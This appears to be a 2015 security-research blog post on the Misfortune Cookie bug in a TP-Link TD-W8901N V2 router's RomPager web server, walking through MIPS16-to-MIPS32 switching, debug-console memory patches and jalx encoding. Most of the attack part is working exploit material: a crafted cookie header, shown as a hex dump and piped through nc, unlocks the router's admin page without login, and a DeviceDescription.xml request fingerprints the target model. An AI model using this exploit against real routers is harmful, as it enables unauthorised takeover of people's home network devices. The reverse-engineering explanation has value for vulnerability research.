Understanding MIPS16 To MIPS32 Switching With Misfortune Cookie

TD-W8901N V2 is a new release of ADSL router to supersede the previous V1 with the first version of firmware being published on 3rd Nov 2014. I expect it should have some remedies to rom-0 and misfortune cookie bugs. Let’s have a look.

cawan$ wget 192.168.1.1/rom-0
--2015-04-26 22:38:56-- http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-04-26 22:38:56 ERROR 404: Not Found.

Well, rom-0 bug is fixed in this version. Now, let’s try with misfortune cookie bug.

cawan$ curl --header 'Cookie: C' 192.168.1.1

At console, it shows,

TLB refill exception occured!                                                                   
EPC= 0x800EDA07                                                                                 
SR= 0x10000003                                                                                 
CR= 0xC080580C                                                                                 
$RA= 0x00000000                                                                                 
Bad Virtual Address = 0x00000000                                                               
UTLB_TLBS ..\core\sys_isr.c:336 sysreset()                                                     
                                                                                 
      $r0= 0x00000000 $at= 0x803F0000 $v0= 0x00000000 $v1= 0x00000001                         
      $a0= 0x00000001 $a1= 0x80593D80 $a2= 0x00000001 $a3= 0x802A83C4                         
      $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x00279AE7 $t3= 0x00000000                         
      $t4= 0x00000002 $t5= 0x8044F3D8 $t6= 0x00000000 $t7= 0x8044EF00                         
      $s0= 0x805A03E8 $s1= 0x8044EF00 $s2= 0x00000001 $s3= 0x803AD7B0                         
      $s4= 0x803AD7AC $s5= 0x8000007C $s6= 0x00000000 $s7= 0x00000000                         
      $t8= 0x00000000 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C                         
      $gp= 0x803B02D4 $sp= 0x805A03E8 $fp= 0x805A03E8 $ra= 0x80034F04                         
...
...

current task   = httpd                                                                         
dump task      = network                                                                       
tx_stack_ptr   = 0x8058FC18                                                                   
tx_stack_start = 0x8058BD78                                                                   
tx_stack_end   = 0x8058FD77                                                                   
tx_stack_size  = 0x00004000                                                                   
tx_run_count   = 0x00001375                                                                   
...
...

Unfortunately, the misfortune cookie bug is still there. By using the method that I have mentioned in my previous paper, the exploit should easily be developed. However, there is an interesting issue in this version of firmware which is worth to discuss, MIPS16. In all the firmwares with misfortune cookie bug that I have studied before, all of them are running in MIPS32, so this is the first time I get a firmware which is running in MIPS16, or the hybrid of MIPS16 and MIPS32. How to know it is running in MIPS16 ? Simple, the EPC is crashed at an odd number value, 0x800EDA07. In MIPS32, the first 2 bits from LSB is normally set as zero, because each instruction is with fixed length of 32-bit. However, in MIPS16, the first bit from LSB is set as one, while the second bit is in used for addressing and keep toggling with one and zero. Now, let’s have a look to the code snippet around 0x800EDA07.

ROM:800ED9EE                 lb      $a3, 0($s0)
ROM:800ED9F0                 li      $a1, 0x3D
ROM:800ED9F2                 cmpi    $a3, 0x43
ROM:800ED9F4                 btnez   loc_800EDA38
ROM:800ED9F6                 addiu   $s0, 1
ROM:800ED9F8                 move    $a0, $s0
ROM:800ED9FA                 jal     sub_80130928
ROM:800ED9FE                 nop
ROM:800EDA00                 move    $a0, $s0
ROM:800EDA02                 move    $s1, $v0
ROM:800EDA04                 move    $a3, $zero
ROM:800EDA06                 jalx    sub_801B3C2C
ROM:800EDA0A                 sb      $a3, 0($s1)
ROM:800EDA0C                 addiu   $s1, 1
ROM:800EDA0E                 move    $a0, $s1
ROM:800EDA10                 jal     sub_80130C58
ROM:800EDA14                 sw      $v0, 8($sp)
ROM:800EDA16                 addu    $s0, $s1, $v0
ROM:800EDA18                 move    $a3, $zero
ROM:800EDA1A                 sb      $a3, 0($s0)
ROM:800EDA1C                 lw      $v1, 0xC($sp)
ROM:800EDA1E                 li      $a3, 0x6B28
ROM:800EDA22                 addu    $a3, $v1, $a3
ROM:800EDA24                 lw      $v1, 8($sp)
ROM:800EDA26                 li      $a2, 0x28
ROM:800EDA28                 mult    $v1, $a2
ROM:800EDA2A                 mflo    $a1
ROM:800EDA2C                 addu    $a0, $a3, $a1
ROM:800EDA2E                 move    $a1, $s1
ROM:800EDA30                 jal     sub_8012F844
ROM:800EDA34                 nop
ROM:800EDA36                 b       loc_800EDA52

At 0x800EDA07, the instruction being executed is

ROM:800EDA06                 jalx    sub_801B3C2C

However, due to one delay slot in MIPS architecture, the faulty instruction should be

ROM:800EDA0A                 sb      $a3, 0($s1)

The reason is $s1 is getting from $v0, which is the return value of sub_80130928. When not passing any parameter in misfortune cookie, sub_80130928 will return a null, and eventually will cause a write operation to address 0x00000000, which is invalid, and in turn crashing the system. Now, to develop an exploit for this version of firmware, the value of $v1 at ROM:800EDA22 is necessary. With the method as mentioned in my previous paper, an instruction should be injected at that address to duplicate the value of $v1 into $s7, following by another instruction to crash the system and print the value of $s7 via the console as crash log. The reason I choose $s7 is because it is not being used by sysreset() in system crashing, so it will not be overridden, and I can get the exact value of $v1 from crash log. But, in MIPS16, $s7 is unavailable. The registers which are available in MIPS16 are $s0, $s1, $v0, $v1, $a0, $a1, $a2, and $a3, where all of them will be overridden by sysreset(). I get this conclusion by trying all of them in MIPS16, but not going to reverse sysreset().

Well, it is necessary to switch from MIPS16 into MIPS32 first before getting $s7 ready to show the value of $v1. In order to switch from MIPS16 to MIPS32, jalx instruction should be used. By referring [1] page 83, it is possible to create a special jalx instruction to get the job done. Let’s assume the jalx instruction can be located at any specific address to switch MIPS16 into MIPS32 and then divert the instruction flow to another address which is patched with instruction to duplicate the value of specific register into $s7 and then crash immediately. So, if we need to get the value of $v1 at ROM:800EDA22, we can patch the address with “jalx 0x800eda34” and at ROM:800EDA34, we can patch it with “jr $zero”, and at ROM:800EDA38, we patch it with “add $s7, $v1, $zero”. Why “add $s7, $v1, $zero” is after “jr $zero” ? Please keep delay slot in mind. Let’s do it now.

Bootbase Version: VTC_SPI1.26 |  2012/12/26 16:00:00                                           
RAM: Size = 8192 Kbytes                                                                         
Found SPI Flash 2MiB EN25QH16 at 0xbfc00000                                                     
SPI Flash Quad Enable                                                                           
Turn off Quad Mode                                                                             
                                                                                                
RAS Version: 2.0.0 Build 141103 Rel.09284                                                       
System   ID: $2.12.191.0(G04.BZ.4)3.20.17.0  20141024_v005  | 2014/10/24                       
                                                                                                
Press any key to enter debug mode within 3 seconds.                                             
........                                                                                       
Enter Debug Mode                                                                               
ATEN1, D423EB58                                                                                 
OK                                                                                             
ATWL 80014AC4, ac30fffc                                                                         
OK                                                                                             
atgr
OK
     (Compressed)                                                                               
     Version: ADSL ATU-R, start: bfc86030                                                       
     Length: 3882D4, Checksum: 1919                                                             
     Compressed Length: 1369FF, Checksum: 0EB9                                                 
                                                                                                
ERROR
ATWL 800EDA24, 1C60B68D                                                                         
OK                                                                                             
ATWL 800EDA34, 00000008                                                                         
OK                                                                                             
ATWL 800eda38, 0060b820                                                                         
OK                                                                                             
atgo 80020000
Copyright (c) 2001 - 2006 TP-LINK TECHNOLOGIES CO., LTD

running romfile and backup romfile is the same

Erasing 4K Sector...

Erasing 4K Sector...

...
...

cawan$ curl --header 'Cookie: C8=cawan' 192.168.1.1

TLB refill exception occured!                                                                   
EPC= 0x00000000                                                                                 
SR= 0x10000003                                                                                 
CR= 0x50801C08                                                                                 
$RA= 0x80020000                                                                                 
Bad Virtual Address = 0x00000000                                                               
UTLB_TLBL ..\core\sys_isr.c:336 sysreset()                                                     
                                                                                                
                                                                                                
        $r0= 0x00000000 $at= 0x803F0000 $v0= 0x00000000 $v1= 0x00000001                         
        $a0= 0x00000001 $a1= 0x80593D80 $a2= 0x00000001 $a3= 0x802A83C4                         
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x00060D2F $t3= 0x00000000                         
        $t4= 0x00000002 $t5= 0x8044F3D8 $t6= 0x00000000 $t7= 0x8044EF00                         
        $s0= 0x805A03E8 $s1= 0x8044EF00 $s2= 0x00000001 $s3= 0x803AD7B0                         
        $s4= 0x803AD7AC $s5= 0x8000007C $s6= 0x00000000 $s7= 0x803B12A8                         
        $t8= 0x00000000 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C                         
        $gp= 0x803B02D4 $sp= 0x805A03E8 $fp= 0x805A03E8 $ra= 0x80034F04                         

...
...

So, the value of $v1 is 0x803B12A8 and $a3 is 0x803B12A8 + 0x6B28 = 0x803B7DD0. On the other hand, since the EPC is stopped at 0x00000000, which is not an odd number value, it shows the system has been switched from MIPS16 into MIPS32 before getting crashed. So, it is ready to create our exploit right now. Let’s do it.

cawan$ cat cawan_header_unlock | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3733 3436 3430 323d 6161 6161 6161 6161  7346402=aaaaaaaa
0000060: 6161 6161 610a                           aaaaa.
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
*   Trying 192.168.1.1...
* Adding handle: conn: 0x7fa97a000000
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7fa97a000000) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 303 See Other
< Location: http://192.168.1.1/login_security.html
< Content-Length: 0
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
* Connection #0 to host 192.168.1.1 left intact
cawan$
cawan$ cat cawan_header_unlock | nc 192.168.1.1 80
cawan$
cawan$ curl -v 192.168.1.1
* Rebuilt URL to: 192.168.1.1/
* About to connect() to 192.168.1.1 port 80 (#0)
*   Trying 192.168.1.1...
* Adding handle: conn: 0x7ffe01005400
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x7ffe01005400) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.33.0
> Host: 192.168.1.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Date: Sat, 01 Jan 2000 00:01:04 GMT
< Pragma: no-cache
< Expires: Thu, 26 Oct 1995 00:00:00 GMT
< Transfer-Encoding: chunked
* Server RomPager/4.07 UPnP/1.0 is not blacklisted
< Server: RomPager/4.07 UPnP/1.0
< EXT:
<
...
...

Cool, the exploit works like a charm.

There are quite a number of peoples are questioning to the usefulness of misfortune cookie bug by assuming all of them must come with rom-0 bug. In reality, rom-0 bug can simply be removed or fixed by those who having html to c utility, which is normally in the disposal of majority downstream manufacturer. However, httpd.a is usually obtained from upstream in binary format which is almost impossible to be modified by downstream in proper condition. On the other hand, someone might argue again while the new version has using web login without the popup box which indicate the model number of the router, then how to determine the model number of the target router now ? The answer is in fact fairly simple,

cawan$ wget 192.168.1.1/DeviceDescription.xml
--2015-04-27 03:09:04--  http://192.168.1.1/DeviceDescription.xml
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/xml]
Saving to: ‘DeviceDescription.xml’

    [  <=>                                       ] 6,271       19.3KB/s   in 0.3s 

2015-04-27 03:09:05 (19.3 KB/s) - ‘DeviceDescription.xml’ saved [6271]
cawan$
cawan$ cat DeviceDescription.xml | grep -i modelname
TD-W8901G IGD
TD-W8901G IGD
TD-W8901G IGD
TD-W8901G IGD
cawan$

Enjoy

Add-on:

jalx target
xxxxx y aaaaa bbbbb cccccccccccccccc

xxxxx = 00011
y     = 1
aaaaa = target (20:16)
bbbbb = target (25:21)
cccccccccccccccc = target (15:0)

When target = 0x800eda34, since it is located at kseg0, and the MSB will always reset to 0 while mapping to physical address. So, it can be neglected and assume it is 0x000eda34. Because each instruction taking 32-bit or 4-byte, the target should be converted to (0x000eda34 / 4) = 0x3b68d. Hence,

aaaaa = 00011
bbbbb = 00000
cccccccccccccccc = 0xb68d

Thus, the “jalx 0x800eda34” in hex format is,

00011 1 00011 00000 (0xb68d)
0001 1100 0110 0000 (0xb68d)
(0x1) (0xc) (0x6) (0x0) (0xb68d)
0x1c60b68d

References:

[1] http://saluc.engr.uconn.edu/refs/processors/mips/mip32_prog_4a.pdf

PDF Version:

http://www.scribd.com/doc/263161655/Understanding-MIPS16-to-MIPS32-Switching-With-Misfortune-Cookie